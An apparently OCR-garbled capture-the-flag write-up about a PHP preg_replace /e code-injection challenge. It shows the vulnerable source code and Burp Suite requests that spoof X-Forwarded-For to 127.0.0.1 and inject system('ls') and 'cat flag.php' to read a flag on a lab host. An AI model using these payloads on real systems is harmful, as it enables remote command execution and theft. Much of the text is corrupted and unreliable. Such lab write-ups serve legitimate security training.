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if ($_SERVER][

echo

$pattern = $ GET[pat];

$replacement = $ GET[rep];

$subject = $ GET[sub];

if (isset($pattern) isset($replacement) isset($subject)) {
preg replace($pattern, $replacement, $subject);

}else{
die();

SATARAS R &1, HX-forwarded-for=127.0.0.1 KIS %, 1RIXEHFEE=ANSH0% Lpat, rep, sub &filiRpreg_replace()iE %L, 1M
preg_replace ()& H ANFIH .
B SR T i — Fpreg_replace()iX & % :

preg_replace BREIAT —ANIE M FRE 2 48 2 A= #e
mixed preg replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
R subject HILEL pattern HJF4, Lb replacement #ATE#:.

$pattern: EFERMN, FTLLRZRFHH —NF

$replacement: FT 8757 B BT B S

$subject: EEERERN BArFRF B E/FE A

$limit: Ak, NHTFEMERATEAN subject FRBMRRATBHRKE. ZRIAL-1 (
$count: Wik, ABHLPATHIXREL.

Hgpatternfifl T /eBIER, BHMH ESHE$replacement & it 2 KA 2 BphpREEHAT, ZHREMBEIERphp RIS BEIEFHINAT .
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Burp Intruder Repeater Window Help

[Target ]' Proxy T Spider I Scanner I Intruder IRepeater T Sequencer I Decoder I Comparer T Extender ]' Project options ]' User options IAIer‘ls ]

Go Cancel < v > |v

Target: http://111.198.29.45:39805 @ 2

Done

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]
GET findex. php?pat=/mochu/e&rep=system(s’)&sub=mochu HTTP/1.1 : <fscript> :
Host: 111.198.29.45:39805 <script>
Pragma: no-cache layui.use{'element’, function{) {
Cache-Contral: no-cache var element = layui.element;
|¥-Farwarded-for: 127.0.0.1 [E i hover B 2 SERLR R, T elementiiil
Upgrade-Insecure-Requests: 1 A s
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537 36 (KHTML, like Gecka) | on(nav(d ), fi i | {
Chrome/76.0.3809.132 Safari/537.36 [fconsole.log({elem)
Accept layer.msg(elem.text());
text/htmlapplication/xhtml+xml application/xml; g=0.9 image/webp imagefapng,**;¢=0.8 application/s »
igned-exchange;w=b3 e
Referer: http:/f111.198.29.45:39805/ <fscript>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 en;q=0.8 <br >Welcome My Admin ! <br >css
Cookie: PHPSESSID=97 Ii8p37 kmmviihf85dggdhbes
Connection: close
logo.png
s3chahahaDir ~
start.sh
. png
</html>
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2.760 bytes | 47 millis
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?pat=/mochu/e&rep=system('cd%20s3chahahaDir%26%261s")&sub=mochu




W Burp Suite Professional v1.7.37 - Temporary Project - licensed to surferxyz
Burp Intruder Repeater Window Help

[Target I Proxy T Spider I Scanner I Intruder I Repeater T Sequencer I Decoder I Comparer T Extender I Project options I User options IAIer‘ls ]

Go Cancel < | > |
Request

Raw | Params | Headers | Hex

Target: http://111.198.29.45:39805 EJ EJ i

Response

Raw | Headers | Hex HTMLTRender]

GET findex.php?pat=/mochu/e&rep=system('cd%20s3chahahaDir%26%261s ) &sub=mochu HTTP/1 .1 A { field: "area’, title: "[X &'}, A
- -
Host: 111.198 .29 4539805 { field: 'status’, title: minWidth: 120, sort: true },
Pragma: no-cache { field: ‘check’, title: " & , width: 83, templet: %switchTpl', unresize: true }
Cache-Contral: no-cache ]
¥-Forwarded-far: 127.0.0.1 1
Upgrade-Insecure-Requests: 1 page: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537 36 (KHTML, like Gecka) e
Chrome/76.0.3809.132 Safari/537.36 »
Accept <fscript>
text/htmlapplication/xhtml+xml application/xml; g=0.9 image/webp imagefapng,**;¢=0.8 application/s <script>
igned-exchange;w=b3 layui.use{'element’, function{) {
Referer: http:/f111.198.29.45:39805/ var element = layui.element;
Accept-Encoding: gzip, deflate [ ihover sl B 2R AR fE, fickelementhitl
Accept-Language: zh-CM,zh;q=0.9 &n;q=0.8 A s
Cookis: PHPSESSID=97 Ii&p37kmmyiihf85dggdhes | on('nav(d ), functi | {
Connection: close [fconsole.log({elem)
layer.msg(elem.text());
»
»
<fscript> A
<br >Welcome My Admin ! <br >flag
<fhady >
</html>
=
v d
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2,639 bytes | 289 millis
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?pat=/mochu/e&rep=system( ' cd%20s3chahahaDir%26%26cat%

flag.php')&sub=mochu
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[Target ]' Proxy T Spider I Scanner I Intruder IRepeate! T Sequencer I Decoder I Comparer T Extender ]' Project options ]' User options IAIer‘ls ]

Go Cancel < v > |v

Request

Raw | Params | Headers | Hex

Response

Target: http://111.198.29.45:39805 @ 2

GET
findex.php?pat=/mochu/edrep=system('cd%20s3chahahalirflag%26 %26cat%20flag. php’) &sub=moc
hu HTTR/M.1

Host: 111.198.29.45:39805

Pragma: no-cache

Cache-Control: no-cache

X-Forwarded-for. 127.0.0.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537 36 (KHTML, like Gecka)
Chrome/76.0.3809.132 Safari/s37 .36

Accept

text/html application/xhtrl+xml application/xml; g=0.9 image/fwebp imagefapng ™, ¢=0.8 application/s
igned-exchange;v=h3

Referer: hitp://111.198.29.45:39805/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 en;q=0.8

Cookie: PHPSESSID=97 i8p37 kmmviihf85dggdbes

Connection: close

L
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0 matches

@ EJ EJ EJ Type a search

Done

Raw | Headers | Hex HTMLTRender]
I8

page: true

»

»

<fscript>

<script>

layui.use{'element’, function{) {
var element = layui.element;

115 i g hover = B L

A

1 .

on("

. WEm{ictelementfiib

[fconsole.log({elem)
layer.msg(elem.text());
»
»

<fscript>

<br >Welcome My Admin ! <br ><?php

$flag = ‘cyberpeace{6f217fc0ELE35L04251 cBi751359615c ),

>

<fhody=>

</html>
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